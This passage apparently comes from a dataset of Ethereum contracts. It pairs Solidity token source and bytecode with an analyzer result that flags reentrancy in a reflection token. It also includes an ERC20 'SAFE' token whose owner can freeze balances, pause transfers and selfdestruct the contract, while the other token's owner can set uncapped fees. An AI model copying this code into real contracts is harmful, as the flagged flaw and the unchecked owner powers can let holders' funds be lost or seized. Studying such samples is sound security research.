) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610555578063dd62ed3e14610575578063ea1644d5146105bb578063f2fde38b146105db57600080fd5b8063a2a957bb146104d0578063a9059cbb146104f0578063bfd7928414610510578063c3c8cd801461054057600080fd5b80638f70ccf7116100d15780638f70ccf71461044d5780638f9a55c01461046d57806395d89b411461048357806398a5c315146104b057600080fd5b80637d1db4a5146103ec5780637f2feddc146104025780638da5cb5b1461042f57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038257806370a0823114610397578063715018a6146103b757806374010ece146103cc57600080fd5b8063313ce5671461030657806349bd5a5e146103225780636b999053146103425780636d8aa8f81461036257600080fd5b80631694505e116101ab5780631694505e1461027457806318160ddd146102ac57806323b872dd146102d05780632fd689e3146102f057600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024457600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f736600461195d565b6105fb565b005b34801561020a57600080fd5b5060408051808201909152600b81526a48616d7374657220496e7560a81b60208201525b60405161023b9190611a22565b60405180910390f35b34801561025057600080fd5b5061026461025f366004611a77565b61069a565b604051901515815260200161023b565b34801561028057600080fd5b50601454610294906001600160a01b031681565b6040516001600160a01b03909116815260200161023b565b3480156102b857600080fd5b5066038d7ea4c680005b60405190815260200161023b565b3480156102dc57600080fd5b506102646102eb366004611aa3565b6106b1565b3480156102fc57600080fd5b506102c260185481565b34801561031257600080fd5b506040516009815260200161023b565b34801561032e57600080fd5b50601554610294906001600160a01b031681565b34801561034e57600080fd5b506101fc61035d366004611ae4565b61071a565b34801561036e57600080fd5b506101fc61037d366004611b11565b610765565b34801561038e57600080fd5b506101fc6107ad565b3480156103a357600080fd5b506102c26103b2366004611ae4565b6107f8565b3480156103c357600080fd5b506101fc61081a565b3480156103d857600080fd5b506101fc6103e7366004611b2c565b61088e565b3480156103f857600080fd5b506102c260165481565b34801561040e57600080fd5b506102c261041d366004611ae4565b60116020526000908152604090205481565b34801561043b57600080fd5b506000546001600160a01b0316610294565b34801561045957600080fd5b506101fc610468366004611b11565b6108bd565b34801561047957600080fd5b506102c260175481565b34801561048f57600080fd5b5060408051808201909152600481526348494e5560e01b602082015261022e565b3480156104bc57600080fd5b506101fc6104cb366004611b2c565b610905565b3480156104dc57600080fd5b506101fc6104eb366004611b45565b610934565b3480156104fc57600080fd5b5061026461050b366004611a77565b610972565b34801561051c57600080fd5b5061026461052b366004611ae4565b60106020526000908152604090205460ff1681565b34801561054c57600080fd5b506101fc61097f565b34801561056157600080fd5b506101fc610570366004611b77565b6109d3565b34801561058157600080fd5b506102c2610590366004611bfb565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105c757600080fd5b506101fc6105d6366004611b2c565b610a74565b3480156105e757600080fd5b506101fc6105f6366004611ae4565b610aa3565b6000546001600160a01b0316331461062e5760405162461bcd60e51b815260040161062590611c34565b60405180910390fd5b60005b81518110156106965760016010600084848151811061065257610652611c69565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061068e81611c95565b915050610631565b5050565b60006106a7338484610b8d565b5060015b92915050565b60006106be848484610cb1565b610710843361070b85604051806060016040528060288152602001611daf602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111ed565b610b8d565b5060019392505050565b6000546001600160a01b031633146107445760405162461bcd60e51b815260040161062590611c34565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461078f5760405162461bcd60e51b815260040161062590611c34565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e257506013546001600160a01b0316336001600160a01b0316145b6107eb57600080fd5b476107f581611227565b50565b6001600160a01b0381166000908152600260205260408120546106ab90611261565b6000546001600160a01b031633146108445760405162461bcd60e51b815260040161062590611c34565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108b85760405162461bcd60e51b815260040161062590611c34565b601655565b6000546001600160a01b031633146108e75760405162461bcd60e51b815260040161062590611c34565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b0316331461092f5760405162461bcd60e51b815260040161062590611c34565b601855565b6000546001600160a01b0316331461095e5760405162461bcd60e51b815260040161062590611c34565b600893909355600a91909155600955600b55565b60006106a7338484610cb1565b6012546001600160a01b0316336001600160a01b031614806109b457506013546001600160a01b0316336001600160a01b0316145b6109bd57600080fd5b60006109c8306107f8565b90506107f5816112e5565b6000546001600160a01b031633146109fd5760405162461bcd60e51b815260040161062590611c34565b60005b82811015610a6e578160056000868685818110610a1f57610a1f611c69565b9050602002016020810190610a349190611ae4565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6681611c95565b915050610a00565b50505050565b6000546001600160a01b03163314610a9e5760405162461bcd60e51b815260040161062590611c34565b601755565b6000546001600160a01b03163314610acd5760405162461bcd60e51b815260040161062590611c34565b6001600160a01b038116610b325760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610625565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bef5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610625565b6001600160a01b038216610c505760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610625565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d155760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610625565b6001600160a01b038216610d775760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610625565b60008111610dd95760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610625565b6000546001600160a01b03848116911614801590610e0557506000546001600160a01b03838116911614155b156110e657601554600160a01b900460ff16610e9e576000546001600160a01b03848116911614610e9e5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610625565b601654811115610ef05760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610625565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3257506001600160a01b03821660009081526010602052604090205460ff16155b610f8a5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610625565b6015546001600160a01b0383811691161461100f5760175481610fac846107f8565b610fb69190611cb0565b1061100f5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610625565b600061101a306107f8565b6018546016549192508210159082106110335760165491505b80801561104a5750601554600160a81b900460ff16155b801561106457506015546001600160a01b03868116911614155b80156110795750601554600160b01b900460ff165b801561109e57506001600160a01b03851660009081526005602052604090205460ff16155b80156110c357506001600160a01b03841660009081526005602052604090205460ff16155b156110e3576110d1826112e5565b4780156110e1576110e147611227565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112857506001600160a01b03831660009081526005602052604090205460ff165b8061115a57506015546001600160a01b0385811691161480159061115a57506015546001600160a01b03848116911614155b15611167575060006111e1565b6015546001600160a01b03858116911614801561119257506014546001600160a01b03848116911614155b156111a457600854600c55600954600d555b6015546001600160a01b0384811691161480156111cf57506014546001600160a01b03858116911614155b156111e157600a54600c55600b54600d555b610a6e8484848461146e565b600081848411156112115760405162461bcd60e51b81526004016106259190611a22565b50600061121e8486611cc8565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610696573d6000803e3d6000fd5b60006006548211156112c85760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610625565b60006112d261149c565b90506112de83826114bf565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061132d5761132d611c69565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561138157600080fd5b505afa158015611395573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113b99190611cdf565b816001815181106113cc576113cc611c69565b6001600160a01b0392831660209182029290920101526014546113f29130911684610b8d565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061142b908590600090869030904290600401611cfc565b600060405180830381600087803b15801561144557600080fd5b505af1158015611459573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061147b5761147b611501565b61148684848461152f565b80610a6e57610a6e600e54600c55600f54600d55565b60008060006114a9611626565b90925090506114b882826114bf565b9250505090565b60006112de83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611664565b600c541580156115115750600d54155b1561151857565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061154187611692565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061157390876116ef565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115a29086611731565b6001600160a01b0389166000908152600260205260409020556115c481611790565b6115ce84836117da565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161161391815260200190565b60405180910390a3505050505050505050565b600654600090819066038d7ea4c6800061164082826114bf565b82101561165b5750506006549266038d7ea4c6800092509050565b90939092509050565b600081836116855760405162461bcd60e51b81526004016106259190611a22565b50600061121e8486611d6d565b60008060008060008060008060006116af8a600c54600d546117fe565b92509250925060006116bf61149c565b905060008060006116d28e878787611853565b919e509c509a509598509396509194505050505091939550919395565b60006112de83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111ed565b60008061173e8385611cb0565b9050838110156112de5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610625565b600061179a61149c565b905060006117a883836118a3565b306000908152600260205260409020549091506117c59082611731565b30600090815260026020526040902055505050565b6006546117e790836116ef565b6006556007546117f79082611731565b6007555050565b6000808080611818606461181289896118a3565b906114bf565b9050600061182b60646118128a896118a3565b905060006118438261183d8b866116ef565b906116ef565b9992985090965090945050505050565b600080808061186288866118a3565b9050600061187088876118a3565b9050600061187e88886118a3565b905060006118908261183d86866116ef565b939b939a50919850919650505050505050565b6000826118b2575060006106ab565b60006118be8385611d8f565b9050826118cb8583611d6d565b146112de5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610625565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f557600080fd5b803561195881611938565b919050565b6000602080838503121561197057600080fd5b823567ffffffffffffffff8082111561198857600080fd5b818501915085601f83011261199c57600080fd5b8135818111156119ae576119ae611922565b8060051b604051601f19603f830116810181811085821117156119d3576119d3611922565b6040529182528482019250838101850191888311156119f157600080fd5b938501935b82851015611a1657611a078561194d565b845293850193928501926119f6565b98975050505050505050565b600060208083528351808285015260005b81811015611a4f57858101830151858201604001528201611a33565b81811115611a61576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a8a57600080fd5b8235611a9581611938565b946020939093013593505050565b600080600060608486031215611ab857600080fd5b8335611ac381611938565b92506020840135611ad381611938565b929592945050506040919091013590565b600060208284031215611af657600080fd5b81356112de81611938565b8035801515811461195857600080fd5b600060208284031215611b2357600080fd5b6112de82611b01565b600060208284031215611b3e57600080fd5b5035919050565b60008060008060808587031215611b5b57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b8c57600080fd5b833567ffffffffffffffff80821115611ba457600080fd5b818601915086601f830112611bb857600080fd5b813581811115611bc757600080fd5b8760208260051b8501011115611bdc57600080fd5b602092830195509350611bf29186019050611b01565b90509250925092565b60008060408385031215611c0e57600080fd5b8235611c1981611938565b91506020830135611c2981611938565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611ca957611ca9611c7f565b5060010190565b60008219821115611cc357611cc3611c7f565b500190565b600082821015611cda57611cda611c7f565b500390565b600060208284031215611cf157600080fd5b81516112de81611938565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d4c5784516001600160a01b031683529383019391830191600101611d27565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d8a57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611da957611da9611c7f565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205f2ec6118fabb9ce39fffe91ed5f0748a0a9d0f947f1dc3deffa3f58b126b1e064736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 5,142 |
0x1f3d836c90dd2d2e99d62334d28b6911f35ee9e1
|
/**
*Submitted for verification at Etherscan.io on 2021-02-10
*/
pragma solidity 0.5.11;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC20Basic
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic, Ownable {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balanceOf(msg.sender));
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(allowed[_from][msg.sender] >= _value);
require(balanceOf(_from) >= _value);
require(balances[_to].add(_value) > balances[_to]); // Check for overflows
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval (address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is StandardToken {
event Pause();
event Unpause();
bool public paused = false;
address public founder;
/**
* @dev modifier to allow actions only when the contract IS paused
*/
modifier whenNotPaused() {
require(!paused || msg.sender == founder);
_;
}
/**
* @dev modifier to allow actions only when the contract IS NOT paused
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() public onlyOwner whenNotPaused {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() public onlyOwner whenPaused {
paused = false;
emit Unpause();
}
}
contract PausableToken is Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
//The functions below surve no real purpose. Even if one were to approve another to spend
//tokens on their behalf, those tokens will still only be transferable when the token contract
//is not paused.
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract SAFE is PausableToken {
string public name;
string public symbol;
uint8 public decimals;
/**
* @dev Constructor that gives the founder all of the existing tokens.
*/
constructor() public {
name = "Safety Chainstore";
symbol = "SAFE";
decimals = 18;
totalSupply = 400000000*1000000000000000000;
founder = msg.sender;
balances[msg.sender] = totalSupply;
emit Transfer(address(0), msg.sender, totalSupply);
}
/** @dev Fires on every freeze of tokens
* @param _owner address The owner address of frozen tokens.
* @param amount uint256 The amount of tokens frozen
*/
event TokenFreezeEvent(address indexed _owner, uint256 amount);
/** @dev Fires on every unfreeze of tokens
* @param _owner address The owner address of unfrozen tokens.
* @param amount uint256 The amount of tokens unfrozen
*/
event TokenUnfreezeEvent(address indexed _owner, uint256 amount);
event TokensBurned(address indexed _owner, uint256 _tokens);
mapping(address => uint256) internal frozenTokenBalances;
function freezeTokens(address _owner, uint256 _value) public onlyOwner {
require(_value <= balanceOf(_owner));
uint256 oldFrozenBalance = getFrozenBalance(_owner);
uint256 newFrozenBalance = oldFrozenBalance.add(_value);
setFrozenBalance(_owner,newFrozenBalance);
emit TokenFreezeEvent(_owner,_value);
}
function unfreezeTokens(address _owner, uint256 _value) public onlyOwner {
require(_value <= getFrozenBalance(_owner));
uint256 oldFrozenBalance = getFrozenBalance(_owner);
uint256 newFrozenBalance = oldFrozenBalance.sub(_value);
setFrozenBalance(_owner,newFrozenBalance);
emit TokenUnfreezeEvent(_owner,_value);
}
function setFrozenBalance(address _owner, uint256 _newValue) internal {
frozenTokenBalances[_owner]=_newValue;
}
function balanceOf(address _owner) view public returns(uint256) {
return getTotalBalance(_owner).sub(getFrozenBalance(_owner));
}
function getTotalBalance(address _owner) view public returns(uint256) {
return balances[_owner];
}
/**
* @dev Gets the amount of tokens which belong to the specified address BUT are frozen now.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount of frozen tokens owned by the passed address.
*/
function getFrozenBalance(address _owner) view public returns(uint256) {
return frozenTokenBalances[_owner];
}
/*
* @dev Token burn function
* @param _tokens uint256 amount of tokens to burn
*/
function burnTokens(uint256 _tokens) public onlyOwner {
require(balanceOf(msg.sender) >= _tokens);
balances[msg.sender] = balances[msg.sender].sub(_tokens);
totalSupply = totalSupply.sub(_tokens);
emit TokensBurned(msg.sender, _tokens);
}
function destroy(address payable _benefitiary) external onlyOwner{
selfdestruct(_benefitiary);
}
}
|
0x608060405234801561001057600080fd5b506004361061014c5760003560e01c806370a08231116100c3578063a9059cbb1161007c578063a9059cbb14610625578063d3d381931461068b578063d73dd623146106e3578063dd62ed3e14610749578063e9b2f0ad146107c1578063f2fde38b1461080f5761014c565b806370a08231146104505780638456cb59146104a85780638da5cb5b146104b257806395d89b41146104fc5780639f2cfaf11461057f578063a4df6c6a146105d75761014c565b8063313ce56711610115578063313ce567146103225780633f4ba83a146103465780634d853ee5146103505780635c975abb1461039a57806366188463146103bc5780636d1b229d146104225761014c565b8062f55d9d1461015157806306fdde0314610195578063095ea7b31461021857806318160ddd1461027e57806323b872dd1461029c575b600080fd5b6101936004803603602081101561016757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610853565b005b61019d6108c6565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101dd5780820151818401526020810190506101c2565b50505050905090810190601f16801561020a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102646004803603604081101561022e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610964565b604051808215151515815260200191505060405180910390f35b6102866109ea565b6040518082815260200191505060405180910390f35b610308600480360360608110156102b257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109f0565b604051808215151515815260200191505060405180910390f35b61032a610a78565b604051808260ff1660ff16815260200191505060405180910390f35b61034e610a8b565b005b610358610b47565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103a2610b6d565b604051808215151515815260200191505060405180910390f35b610408600480360360408110156103d257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b80565b604051808215151515815260200191505060405180910390f35b61044e6004803603602081101561043857600080fd5b8101908080359060200190929190505050610c06565b005b6104926004803603602081101561046657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d76565b6040518082815260200191505060405180910390f35b6104b0610da2565b005b6104ba610eb7565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610504610edd565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610544578082015181840152602081019050610529565b50505050905090810190601f1680156105715780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6105c16004803603602081101561059557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f7b565b6040518082815260200191505060405180910390f35b610623600480360360408110156105ed57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610fc4565b005b6106716004803603604081101561063b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110b5565b604051808215151515815260200191505060405180910390f35b6106cd600480360360208110156106a157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061113b565b6040518082815260200191505060405180910390f35b61072f600480360360408110156106f957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611184565b604051808215151515815260200191505060405180910390f35b6107ab6004803603604081101561075f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061120a565b6040518082815260200191505060405180910390f35b61080d600480360360408110156107d757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611291565b005b6108516004803603602081101561082557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611382565b005b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146108ad57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16ff5b60058054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561095c5780601f106109315761010080835404028